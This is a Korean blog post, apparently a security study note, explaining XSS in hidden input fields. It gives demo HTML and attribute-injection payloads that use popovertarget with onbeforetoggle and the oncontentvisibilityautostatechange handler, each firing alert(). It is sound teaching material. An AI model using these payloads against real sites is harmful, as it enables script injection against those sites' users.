https://www.hahwul.com/2016/06/20/web-hacking-hiddenxss-xss-in-hidden/
HIDDEN:XSS - input type=hidden 에서의 XSS
웹 취약점 진단에서 가장 만만하면서 가장 어려울때도 있는 XSS에 대한 이야기를 할까합니다. 그 중에서도 오늘은 hidden XSS. 즉 hidden 속성을 가진 태그에 대한 xss입니다.
www.hahwul.com
Exploiting XSS in hidden inputs and meta tags
In this post we are going to show how you can (ab)use the new HTML popup functionality in Chrome to exploit XSS in meta tags and hidden inputs. It all started when I noticed the new popover behaviour
portswigger.net
https://blog.theori.io/security-threats-caused-by-development-side-effects-1c2af4548482
개발 사이드 이펙트로 발생한 보안 위협 사례
시스템과 서비스는 이용자를 위해 계속해서 새로운 기능을 개발하거나 도입합니다. 현실의 많은 보안 위협들은 이 작업의 사이드 이펙트로 발생합니다. 이번 포스트에서는 개발의 사이드 이펙
blog.theori.io
XSS 공격에는 여러가지 방법이 있지만 hidden type 내에서 eventhandler가 동작할 수 없다고만 생각했다.
하지만 최근 hidden type 내에서도 공격할 수 있는 방법이 있다고 하여 정리해본다.
hidden bypass XSS 공격에 대한 상세한 이해는 위의 두 블로그를 통해 상세히 알아볼 수 있다.
1. popovertarget Attribute
popovertarget 이라는 속성을 통해 XSS를 동작시킬 수 있는데 간단한 예시코드를 만들어보았다.

<!DOCTYPE html>
<html>
<center>
XSS Episode.2
<br><br><br>
<button popovertarget=x>Click me</button>
<input type="hidden" value="y">
<input type="text" name="search" maxlength="100" value="Y">
<input type="submit" value = "검색">
</center>
</form>
</body>
</html>
현재 input tag는 hidden type을 가지고 있으며 y 라는 value 값을 부여했다.
이제 value에 '(quote), "(double quote) 에 대한 특수문자 필터가 없다는 가정 하에 value 값 내부에
아래와 같이 eventhandler 구문을 삽입해보았다.
<input type="hidden" value="yy" popover id=x onbeforetoggle="alert(`JNU Hi 1...!`)" <button popovertarget=x>click me</button><img src="x
위와 같은 구문을 삽입한 후 popover의 id 값이 선언된 button tag에서 eventhandler가 동작하는 것을 볼 수 있다.
2. oncontentvisibilityautostatechange eventhandler
해당 eventhandler는 어떻게 동작할지 궁금해서 한번 시도해봤다.
위와 같은 전제로 value 값에 다음과 같이 해당 eventhandler를 삽입해보았다.
참고로 해당 eventhandler는 content-visibility:auto 일 때 동작한다...!
간단히 말해 html 랜더링 시 동작되는 eventhandler다.
<!DOCTYPE html>
<html>
<center>
XSS Episode.2
<br><br><br>
<button popovertarget=x>Click me</button>
<input type="hidden" value= "y" oncontentvisibilityautostatechange="alert(`JNU hello`)" style="content-visibility:auto">
<input type="text" name="search" maxlength="100" value="Y">
<input type="submit" value = "검색">
</center>
</form>
</body>
</html>
'웹 보안' 카테고리의 다른 글
HTTP 통신과 인증 인가 (0) | 2025.01.01 |
---|---|
HTTP Smuggling (0) | 2024.06.07 |
JWT 인증 우회 (1) | 2024.02.05 |
MVC 패턴 (1) | 2024.02.01 |
HTTP method status code (0) | 2023.11.08 |